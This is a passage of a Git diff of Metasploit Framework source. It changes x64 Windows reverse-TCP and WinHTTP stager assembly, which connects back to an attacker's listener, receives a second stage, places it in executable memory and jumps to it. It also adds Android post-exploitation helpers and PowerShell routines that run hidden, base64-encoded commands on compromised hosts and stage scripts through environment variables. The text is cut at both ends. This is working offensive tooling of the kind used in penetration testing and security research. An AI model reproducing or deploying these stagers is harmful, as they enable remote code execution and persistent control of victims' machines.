; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - mov rdi, rax ; save the socket for later - ; perform the call to connect... - push 16 ; length of the sockaddr struct - pop r8 ; pop off the third param - mov rdx, r12 ; set second param to pointer to sockaddr struct - mov rcx, rdi ; the socket - mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call rbp ; connect( s, &sockaddr, 16 ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + ; perform the call to LoadLibraryA... + mov rcx, r14 ; set the param for the library to load + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "ws2_32" ) + + ; perform the call to WSAStartup... + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup( 0x0101, &WSAData ); + + ; stick the retry count on the stack and store it + push #{retry_count} ; retry counter + pop r14 + + create_socket: + ; perform the call to WSASocketA... + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + + try_connect: + ; perform the call to connect... + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call rbp ; connect( s, &sockaddr, 16 ); + + test eax, eax ; non-zero means failure + jz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ + asm << asm_send_uuid if include_send_uuid + + asm << %Q^ recv: - ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, &dwLength, 4, 0 ); - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - ; Alloc a RWX buffer for the second stage - pop rsi ; pop off the second stage length - push 0x40 ; - pop r9 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; - pop r8 ; MEM_COMMIT - mov rdx, rsi ; the newly recieved second stage length. - xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + movsxd rsi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... - mov rbx, rax ; rbx = our new memory address for the new stage - mov r15, rax ; save the address so we can jump into it later - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, buffer, length, 0 ); - add rbx, rax ; buffer += bytes_received - sub rsi, rax ; length -= bytes_received - test rsi, rsi ; test length - jnz read_more ; continue if we have more to read - jmp r15 ; return into the second stage + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage ^ if opts[:exitfunk] diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 9fe09ac40f..8c31863621 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -16,21 +16,29 @@ module Payload::Windows::ReverseWinHttp_x64 include Msf::Payload::Windows::ReverseHttp_x64 + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -38,6 +46,11 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] + else + # Otherwise default to small URIs + conf[:uri] = generate_small_uri end generate_reverse_winhttp(conf) @@ -102,7 +115,7 @@ module Payload::Windows::ReverseWinHttp_x64 # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -114,9 +127,22 @@ module Payload::Windows::ReverseWinHttp_x64 retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -154,6 +180,14 @@ module Payload::Windows::ReverseWinHttp_x64 http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ xor rbx, rbx load_winhttp: @@ -207,7 +241,15 @@ module Payload::Windows::ReverseWinHttp_x64 push rbx ; dwFlags (0) mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen call rbp + ^ + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r12, rax ; Session handle is required later for ie proxy + ^ + end + + asm << %Q^ call load_server_host db #{encoded_host} load_server_host: @@ -219,12 +261,34 @@ module Payload::Windows::ReverseWinHttp_x64 call rbp call winhttpopenrequest - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} + ^ + else + asm << %Q^ + db #{encoded_uri} + ^ + end + + asm << %Q^ winhttpopenrequest: mov rcx, rax ; hConnect push rbx pop rdx ; pwszVerb (NULL=GET) pop r8 ; pwszObjectName (URI) + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r13, r8 ; store a copy of the URL for later + add r8, #{encoded_uri_index} ; move r8 up to where the URI stars + ^ + end + + asm << %Q^ xor r9, r9 ; pwszVersion (NULL) push rbx ; stack alignment mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags @@ -268,6 +332,83 @@ module Payload::Windows::ReverseWinHttp_x64 ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 32-byte structure + sub rax, 32 + mov rdi, rsp ; save a pointer to this buffer + mov rcx, rdi ; this buffer is also the parameter to the function + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. + + ; check if there's an auto configuration URL + mov rax, [rdi+8] + test eax, eax + jz ie_proxy_manual + + ; set up the autoproxy structure on the stack and get it ready to pass + ; into the target function + mov rcx, rbx + inc rcx + shl rcx, 32 + push rcx ; dwReserved (0) and fAutoLoginIfChallenged + push rbx ; lpvReserved (NULL) + push rax ; lpszAutoConfigUrl + mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags + push rax + mov r8, rsp ; put the structure in the parameter list + + ; prepare the proxy info buffer, 32 bytes required + sub rsp, 32 + mov rdi, rsp ; we'll need a pointer to this later + mov r9, rdi ; pass it as the 4th parameter + + ; rest of the parameters + mov rcx, r12 ; hSession + mov rdx, r13 ; lpcwszUrl + + ; finally make the call + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; rdi points to the filled out proxy structure + + ie_proxy_manual: + mov rax, [rdi+16] ; check for the manual proxy + test eax, eax + jz ie_proxy_setup_finish + + add rdi, 8 + push 3 + pop rax + mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that rdi is going to point to the proxy options + mov r8, rdi ; lpBuffer (proxy options) + push 24 + pop r9 ; dwBufferLength (size of proxy options) + mov rcx, rsi ; hConnection (connection handle) + push 38 + pop rdx ; (38=WINHTTP_OPTION_PROXY) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption + call rbp + + ie_proxy_setup_finish: + ^ + end + if retry_count > 1 asm << %Q^ push #{retry_count} diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb new file mode 100644 index 0000000000..f804d3ae0e --- /dev/null +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic send_uuid stub for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::SendUUID_x64 + + # + # Generate assembly code that writes the UUID to the socket. + # + # This code assumes that the block API pointer is in rbp, and + # the communications socket handle is in rdi. + # + def asm_send_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + send_uuid: + xor r9, r9 ; flags + push #{uuid_raw.length} ; length of the UUID + pop r8 + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + pop rdx ; UUID address + mov rcx, rdi ; Socket handle + mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')} + call rbp ; call send + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 25 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + diff --git a/lib/msf/core/post/android.rb b/lib/msf/core/post/android.rb new file mode 100644 index 0000000000..dbe96e2d53 --- /dev/null +++ b/lib/msf/core/post/android.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +module Msf::Post::Android + + require 'msf/core/post/android/system' + require 'msf/core/post/android/priv' + +end diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb new file mode 100644 index 0000000000..42d4bc09e4 --- /dev/null +++ b/lib/msf/core/post/android/priv.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module Priv + + include Msf::Post::Common + + public + + # Returns whether we are running as root or not. + # + # @return [Boolean] TrueClass if as root, otherwise FalseClass. + def is_root? + id = cmd_exec('id') + uid = id.scan(/uid=(\d+)(.+)/).flatten.first + if /^0$/ === uid + return true + else + return false + end + end + + private + + def get_id + cmd_exec('id') + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb new file mode 100644 index 0000000000..38f1afe4f1 --- /dev/null +++ b/lib/msf/core/post/android/system.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module System + + include Msf::Post::Common + include Msf::Post::File + + # Returns system information from build.prop. + # + # @return [Hash] System information. + def get_build_prop + sys_data = {} + build_prop = cmd_exec('cat /system/build.prop') + + return sys_data if build_prop.blank? + + build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting| + sys_data.merge!(setting) + end + + return sys_data + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index f6bb9f8de1..85e3af4d3a 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -49,6 +49,74 @@ module Msf::Post::Common pid_list.include?(pid) end + + # Returns the target architecture. + # You should use this instead of session.platform, because of the following reasons: + # 1. session.platform doesn't always give you an arch. For example: a shell session. + # 2. session.platform doesn't mean the target platform/arch, it means whatever the session is. + # For example: you can use a python meterpreter on a Windows platform, and you will + # get 'python/python' as your arch/platform, and not 'x86/win32'. + # + # @returns [String] The archtecture recognizable by framework's ARCH_TYPES. + def get_target_arch + arch = nil + + case session.type + when 'meterpreter' + arch = get_recognizable_arch(client.sys.config.sysinfo['Architecture']) + when 'shell' + if session.platform =~ /win/ + arch = get_recognizable_arch(get_env('PROCESSOR_ARCHITECTURE').strip) + else + arch = get_recognizable_arch(get_env('MACHTYPE').strip) + end + end + + arch + end + + + # Returns the target OS. + # You should use this instead of session.platform, because of the following reasons: + # 1. session.platform doesn't always provide a consistent OS name. For example: for a Windows + # target, session.platform might return 'win32', which isn't recognized by Msf::Module::Platform. + # 2. session.platform doesn't mean the target platform/arch, it means whatever the session is. + # For example: You can use a python meterpreter on a Windows platform, and you will get + # 'python/python', as your arch/platform, and not 'windows'. + # + # @return [String] The OS name recognizable by Msf::Module::Platform. + def get_target_os + os = nil + info = '' + + case session.type + when 'meterpreter' + info = client.sys.config.sysinfo['OS'] + when 'shell' + if session.platform =~ /win/ + info = get_env('OS').strip + else + info = cmd_exec('uname -s').strip + end + end + + case info + when /windows/i + os = Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + os = Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + os = Msf::Module::Platform::FreeBSD.realname.downcase + when /GENERIC\.MP/i, /netbsd/i + os = Msf::Module::Platform::BSD.realname.downcase + else + os = Msf::Module::Platform::Linux.realname.downcase + end + + + os + end + # # Executes +cmd+ on the remote system # @@ -101,6 +169,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -108,9 +177,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o @@ -122,7 +199,11 @@ module Msf::Post::Common process.close when /shell/ - o = session.shell_command_token("#{cmd} #{args}", time_out) + if args.nil? || args.empty? + o = session.shell_command_token("#{cmd}", time_out) + else + o = session.shell_command_token("#{cmd} #{args}", time_out) + end o.chomp! if o end return "" if o.nil? @@ -212,5 +293,42 @@ module Msf::Post::Common nil end + private + + # Returns an architecture recognizable by ARCH_TYPES. + # + # @param [String] target_arch The arch. Example: x86 + # @return [String] One of the archs from ARCH_TYPES. + def get_recognizable_arch(target_arch) + arch = nil + + # Special handle some cases that ARCH_TYPES won't recognize. + # https://msdn.microsoft.com/en-us/library/aa384274.aspx + case target_arch + when /i[3456]86|wow64/i + return ARCH_X86 + when /(amd|ia|x)64/i + return ARCH_X86_64 + end + + # Detect tricky variants of architecture types upfront + + # Rely on ARCH_TYPES to tell us a framework-recognizable ARCH. + # Notice we're sorting ARCH_TYPES first, so that the longest string + # goes first. This step is used because sometimes let's say if the target + # is 'x86_64', and if the ARCH_X86 kicks in first, then we will get 'x86' + # instead of x86_64, which is inaccurate. + recognizable_archs = ARCH_TYPES + recognizable_archs = recognizable_archs.sort_by {|a| a.length}.reverse + recognizable_archs.each do |a| + if target_arch =~ /#{a}/ + arch = a + break + end + end + + arch + end + end diff --git a/lib/msf/core/post/windows/file_info.rb b/lib/msf/core/post/windows/file_info.rb index ad56db7d06..40ca6d7439 100644 --- a/lib/msf/core/post/windows/file_info.rb +++ b/lib/msf/core/post/windows/file_info.rb @@ -13,6 +13,11 @@ module FileInfo num & 0xffff end + # Returns the file version information such as: major, minor, build, revision, branch. + # + # @param filepath [String] The path of the file you are targeting. + # @return [String] Returns the file version information of the file. + def file_version(filepath) file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( filepath, diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index b77da4a5e3..cea0bd1684 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -require 'zlib' +require 'msf/core/exploit/powershell' require 'msf/core/post/common' module Msf @@ -7,13 +7,19 @@ class Post module Windows module Powershell + include ::Msf::Exploit::Powershell include ::Msf::Post::Common - - # List of running processes, open channels, and env variables... - - - # Suffix for environment variables + def initialize(info = {}) + super + register_advanced_options( + [ + OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), + OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), + OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), + OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), + ], self.class) + end # # Returns true if powershell is installed @@ -25,118 +31,65 @@ module Powershell end # - # Insert substitutions into the powershell script + # Get/compare list of current PS processes - nested execution can spawn many children + # doing checks before and after execution allows us to kill more children... + # This is a hack, better solutions are welcome since this could kill user + # spawned powershell windows created between comparisons. # - def make_subs(script, subs) - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end + def get_ps_pids(pids = []) + current_pids = session.sys.process.get_processes.keep_if {|p| + p['name'].downcase == 'powershell.exe' + }.map {|p| p['pid']} + # Subtract previously known pids + current_pids = (current_pids - pids).uniq + return current_pids end # - # Return an array of substitutions for use in make_subs + # Execute a powershell script and return the output, channels, and pids. The script + # is never written to disk. # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script - # - def compress_script(script_in, eof = nil) - - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression += "$stream.ReadByte()|Out-Null;" - psh_expression += "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression += "$(New-Object IO.Compression.DeflateStream(" - psh_expression += "$stream," - psh_expression += "[IO.Compression.CompressionMode]::Decompress))," - psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression - end - - # - # Execute a powershell script and return the results. The script is never written - # to disk. - # - def execute_script(script, time_out = 15) - running_pids, open_channels = [], [] + def execute_script(script, greedy_kill = false) + @session_pids ||= [] + running_pids = greedy_kill ? get_ps_pids : [] + open_channels = [] # Execute using -EncodedCommand - session.response_timeout = time_out - cmd_out = session.sys.process.execute("powershell -EncodedCommand " + - "#{script}", nil, {'Hidden' => true, 'Channelized' => true}) + session.response_timeout = datastore['Powershell::Post::timeout'].to_i + ps_bin = datastore['Powershell::Post::force_wow64'] ? + '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 + script = encode_script(script.to_s) + end + ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" + vprint_good("EXECUTING:\n#{ps_string}") + cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true}) + + # Subtract prior PIDs from current + if greedy_kill + Rex::ThreadSafe.sleep(3) # Let PS start child procs + running_pids = get_ps_pids(running_pids) + end # Add to list of running processes running_pids << cmd_out.pid + # All pids start here, so store them in a class variable + (@session_pids += running_pids).uniq! + # Add to list of open channels open_channels << cmd_out - return [cmd_out, running_pids, open_channels] + return [cmd_out, running_pids.uniq, open_channels] end # # Powershell scripts that are longer than 8000 bytes are split into 8000 - # 8000 byte chunks and stored as environment variables. A new powershell + # byte chunks and stored as CMD environment variables. A new powershell # script is built that will reassemble the chunks and execute the script. # Returns the reassembly script. # - def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) + def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) # Check to ensure script is encoded and compressed if compressed_script =~ /\s|\.|\;/ @@ -159,12 +112,11 @@ module Powershell set_env_variable += "'#{chunk}', 'User')" # Compress and encode the set command - encoded_stager = compress_script(set_env_variable) + encoded_stager = encode_script(compress_script(set_env_variable)) # Stage the payload print_good(" - Bytes remaining: #{compressed_script.size - index}") - execute_script(encoded_stager) - + cmd_out, running_pids, open_channels = execute_script(encoded_stager, false) # Increment index index += count @@ -178,57 +130,166 @@ module Powershell reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" # Compress and encode the reassemble command - encoded_script = compress_script(reassemble_command) + encoded_script = encode_script(compress_script(reassemble_command)) return encoded_script end # - # Log the results of the powershell script + # Uploads a script into a Powershell session via memory (Powershell session types only). + # If the script is larger than 15000 bytes the script will be uploaded in a staged approach # - def write_to_log(cmd_out, log_file, eof) - # Open log file for writing - fd = ::File.new(log_file, 'w+') + def stage_psh_env(script) + begin + ps_script = read_script(script) + encoded_expression = encode_script(ps_script) + cleanup_commands = [] + # Add entropy to script variable names + script_var = ps_script.rig.generate(4) + decscript = ps_script.rig.generate(4) + scriptby = ps_script.rig.generate(4) + scriptbybase = ps_script.rig.generate(4) + scriptbybasefull = ps_script.rig.generate(4) - # Read output until eof and write to log - while (line = cmd_out.channel.read()) + if (encoded_expression.size > 14999) + print_error("Script size: #{encoded_expression.size} This script requires a stager") + arr = encoded_expression.chars.each_slice(14999).map(&:join) + print_good("Loading " + arr.count.to_s + " chunks into the stager.") + vararray = [] + arr.each_with_index do |slice, index| + variable = ps_script.rig.generate(5) + vararray << variable + indexval = index+1 + vprint_good("Loaded stage:#{indexval}") + session.shell_command("$#{variable} = \"#{slice}\"") + cleanup_commands << "Remove-Variable #{variable} -EA 0" + end + linkvars = '' + for var in vararray + linkvars = linkvars + " + $" + var + end + linkvars.slice!(0..2) + session.shell_command("$#{script_var} = #{linkvars}") + else + print_good("Script size: #{encoded_expression.size}") + session.shell_command("$#{script_var} = \"#{encoded_expression}\"") + end + session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") + session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") + session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") + session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") + print_good("Module loaded") + unless cleanup_commands.empty? + vprint_good("Cleaning up #{cleanup_commands.count} stager variables") + session.shell_command("#{cleanup_commands.join(';')}") + end + rescue Errno::EISDIR => e + vprint_error("Unable to upload script: #{e.message}") + end + end + + # + # Reads output of the command channel and empties the buffer. + # Will optionally log command output to disk. + # + def get_ps_output(cmd_out, eof, read_wait = 5) + results = '' + + if datastore['Powershell::Post::log_output'] + # Get target's computer name + computer_name = session.sys.config.sysinfo['Computer'] + + # Create unique log directory + log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name) + ::FileUtils.mkdir_p(log_dir) + + # Define log filename + time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') + log_file = ::File.join(log_dir,"#{time_stamp}.txt") + + + # Open log file for writing + fd = ::File.new(log_file, 'w+') + end + + # Read output until eof or nil return output and write to log + while (1) + line = ::Timeout.timeout(read_wait) { + cmd_out.channel.read + } rescue nil + break if line.nil? if (line.sub!(/#{eof}/, '')) - fd.write(line) - vprint_good("\t#{line}") - cmd_out.channel.close() + results << line + fd.write(line) if fd + #vprint_good("\t#{line}") break end - fd.write(line) - vprint_good("\t#{line}") + results << line + 